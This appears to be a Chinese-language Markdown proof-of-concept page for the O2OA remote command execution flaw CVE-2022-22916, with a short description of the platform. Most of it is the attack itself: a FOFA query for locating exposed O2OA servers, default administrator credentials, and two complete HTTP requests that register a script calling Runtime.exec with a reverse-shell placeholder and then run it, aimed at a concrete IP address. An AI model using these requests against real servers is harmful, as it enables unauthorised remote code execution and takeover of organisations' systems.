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56 lines
2.3 KiB
Markdown
56 lines
2.3 KiB
Markdown
## O2OA远程命令执行(CVE-2022-22916)
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O2OA是一个基于J2EE分布式架构，集成移动办公、智能办公，支持私有化部署，自适应负载能力的，能够很大程度上节约企业软件开发成本的基于AGPL协议开放源代码的企业信息化系统需求定制开发平台解决方案。 通过 /x_program_center/jaxrs/invoke 发现 O2OA v6.4.7 包含一个远程代码执行 (RCE) 漏洞。
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## fofa
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```
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app="兰德网络-O2OA"
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```
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## poc
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登录账号 xadmin/o2 获取Authorization
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O2OA开发平台默认的超级管理员账号为xadmin，密码为o2oa@2022。
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第一步
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```
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POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
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Host: 123.58.236.76:33455
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Authorization: 你的Authorization
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Connection: close
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Content-Type: application/json; charset=UTF-8
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Content-Length: 475
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{"name":"aodsec","id":"aodsec","alias":"","description":"","isNewInvoke":true,"text":"\nvar p = java.lang.Runtime.getRuntime().exec('反弹shell命令');\nvar sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");\nvar result = sc.hasNext() ? sc.next() : \"\";\nsc.close();","enableToken":false,"enable":true,"remoteAddrRegex":"","lastStartTime":"","lastEndTime":"","validated":true}
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```
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```
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第二步：
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POST /x_program_center/jaxrs/invoke/aodsec/execute?v=6.3 HTTP/1.1
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Host: 123.58.236.76:43953
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Content-Length: 0
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Accept: text/html,application/json,*/*
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X-Requested-With: XMLHttpRequest
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Accept-Language: zh-CN
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Authorization: 你的Authorization
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
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Content-Type: application/json; charset=UTF-8
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Origin: http://123.58.236.76:43953
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Referer: http://123.58.236.76:43953/x_desktop/index.html
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Accept-Encoding: gzip, deflate
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Cookie:
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Connection: close
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```
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